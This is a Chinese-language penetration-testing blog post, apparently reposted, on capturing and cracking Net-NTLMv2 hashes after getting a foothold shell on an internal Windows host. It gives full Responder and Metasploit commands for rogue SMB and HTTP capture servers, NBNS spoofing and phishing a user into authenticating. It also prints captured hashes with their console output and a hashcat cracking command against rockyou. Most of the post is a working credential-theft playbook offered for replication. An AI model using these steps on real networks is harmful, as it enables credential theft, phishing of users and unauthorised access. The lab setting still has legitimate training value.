狩猎NTLM v2 hash
2023-5-29 17:1:53 Author: Matrix1024(查看原文) 阅读量:10 收藏

Introduction
在内网渗透中,我们有时候会遇到这么一种场景:通过web漏洞或其他方式获得了目标内网中一台机器的Windows交互式shell。由于权限和防护原因,我们既无法进行内网穿透,也无法进行提权,这时候我们就会先提取NTLM hash,看能不能进行hash中继攻击或者破解hash以后看能不能RDP远程桌面。但是很遗憾的是,由于防护原因,我们无法运行mimikatz。同时由于权限原因,我们也无法导出sam文件,因此也无法离线提取hash。这时候我们就可以利用NTLM v2的特性,采用类似中间人的方式来捕获NTLM v2 hash的值。进而进行破解或中继攻击。
关于NTLM hash的原理,参考我之前的文章。在这里我补充一下NTLM hashes系列版本区别:
  • NTLM Hashes (也称为 NT Hashes) 主要用于本地认证;
  • NTLMv1 Hashes (也称为Net-NTLMv1 Hashes) 运用了WindowsNT挑战与响应验证机制结合,主要用于网络身份认证;
  • NTLMv2 Hashes (也称为Net-NTLMv2 Hashes) 主要用于网络身份认证并且使用广泛;
  • NTLM session 用于在没有NTLMv2身份验证的情况下协商NTLM2会话安全性时
参考链接:https://blog.51cto.com/weiyigeek/5666841
To do
在开始之前,我先介绍一下环境情况。192.168.219.211是目标主机,我们当前获得的是paul普通用户权限。192.168.45.159是我们kaliIPOKjust do it!
    The 1st method
第一种方法是使用kali启用一个smb服务,然后让目标主机去网络连接,以此抓取Net-NTLM v2 Hash。为了方便抓取,这里我使用的是Responder来启用SMB服务并进行监听。
 sudo responder -I tun0
接着,我们NC连接一下目标机器,获取一个shell,以此来模拟真实环境中的shell权限。并且用该权限去连接刚刚我们启用的SMB服务。
虽然提示没有权限访问,但是没有关系,这时候其实Responder已经抓到了hash
最后,既然抓到了hash,自然就是喜闻乐见的Cracking。
hashcat -h | grep -i "ntlm"hashcat -m 5600 paul.hash /usr/share/wordlists/rockyou.txt --force

    The 2nd method
同理,我们也可以用MSF以更简洁的方式来实现。这里我们用到的模块是auxiliary/server/capture/smbauxiliary/spoof/nbns/nbns_response。
msf6 > use auxiliary/server/capture/smbmsf6 auxiliary(server/capture/smb) > set srvhost 192.168.45.159srvhost => 192.168.45.159msf6 auxiliary(server/capture/smb) > set JOHNPWFILE /tmp/john_smbJOHNPWFILE => /tmp/john_smbmsf6 auxiliary(server/capture/smb) > exploit [*] Auxiliary module running as background job 0. [*] JTR hashes will be split into two files depending on the hash format.[*] /tmp/john_smb_netntlm for NTLMv1 hashes.[*] /tmp/john_smb_netntlmv2 for NTLMv2 hashes.  [*] Server is running. Listening on 192.168.45.159:445[*] Server started.msf6 auxiliary(server/capture/smb) > use auxiliary/spoof/nbns/nbns_responsemsf6 auxiliary(spoof/nbns/nbns_response) > set SPOOFIP 192.168.45.159SPOOFIP => 192.168.45.159msf6 auxiliary(spoof/nbns/nbns_response) > set INTERFACE tun0INTERFACE => tun0msf6 auxiliary(spoof/nbns/nbns_response) > run[*] Auxiliary module running as background job 2.  [-] Auxiliary failed: PCAPRUB::BPFError invalid bpf filter: ethernet addresses supported only on ethernet/FDDI/token ring/802.11/ATM LANE/Fibre Channel[-] Call stack:[-]   /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:139:in `setfilter'msf6 auxiliary(spoof/nbns/nbns_response) > [-]   /usr/share/metasploit-framework/lib/msf/core/exploit/capture.rb:139:in `open_pcap'[-]   /usr/share/metasploit-framework/modules/auxiliary/spoof/nbns/nbns_response.rb:145:in `run'[+] Received SMB connection on Auth Capture Server![SMB] NTLMv2-SSP Client     : 192.168.219.211[SMB] NTLMv2-SSP Username   : FILES01\paul[SMB] NTLMv2-SSP Hash       : paul::FILES01:37deabe5fef5e9ae:6cf8e75e1fa372f9bdd3d2c687519959:010100000000000080aca5343b8dd901bb2665e62562c2aa000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f00550050000700080080aca5343b8dd901060004000200000008003000300000000000000000000000002000007f1bd75bae0ffde594bca74c62b4d3cb1656aec27e52436eb09106e3ac6c5c580a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00340035002e003100350039000000000000000000

一切就绪以后,同样是让目标机器访问SMB服务。尽管MSF在中途有报错提示,但是没关系,只要能够监听就行,同样抓到了NTLMv2 hashCreaking过程参照前文。
     The 3rd method
第三种方法依然使用的是MSF,但是通过钓鱼的方式来获取hash。用到的模块是auxiliary/server/capture/http_ntlm。
msf6 > use auxiliary/server/capture/http_ntlmmsf6 auxiliary(server/capture/http_ntlm) > set srvhost 192.168.45.159srvhost => 192.168.45.159msf6 auxiliary(server/capture/http_ntlm) > set SRVPORT 80SRVPORT => 80msf6 auxiliary(server/capture/http_ntlm) > set URIPATH /URIPATH => /msf6 auxiliary(server/capture/http_ntlm) > set JOHNPWFILE /home/kali/JOHNPWFILE => /home/kali/msf6 auxiliary(server/capture/http_ntlm) > exploit [*] Auxiliary module running as background job 0.msf6 auxiliary(server/capture/http_ntlm) > [*] Using URL: http://192.168.45.159/[*] Server started.[*] 2023-05-23 02:09:31 -0400NTLMv2 Response Captured from FILES01 DOMAIN:  USER: paul LMHASH:Disabled LM_CLIENT_CHALLENGE:DisabledNTHASH:e0f7edf0bb767cbd51e727f62b6722c4 NT_CLIENT_CHALLENGE:01010000000000005bc6d7223d8dd9015bebf059764da56f0000000002000c0044004f004d00410049004e000000000000000000

当我们配置并运行模块后,攻击主机这边就会启用http服务。然后钓鱼让目标用户去访问即可。当目标用户访问后,就会弹框提示登录。这时无论对方是否真的登录,我们都会抓到其Net-NTLM v2 hash

The end
除了上述三种方式以外,还可以用MSF生成word文件进行钓鱼。但是这种方式比较局限,只有在office2013及以前的版本才有效。并且用户收到文件后,文档是只读模式,还需要用户点击编辑模式才行。这里就不演示了。用到模块是use auxiliary/docx/word_unc_injectorauxiliary/server/capture/smb。感兴趣的小伙伴可以去复现一遍。

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NzYxMjI5OA==&mid=2247485721&idx=1&sn=3194b1a87fc8d475fd417b425ff6cf90&chksm=c06e667cf719ef6a6d70f84566c351294172773a9d0a445fd18e0b872d95e8acdcfeb5a97f74#rd
如有侵权请联系:admin#unsafe.sh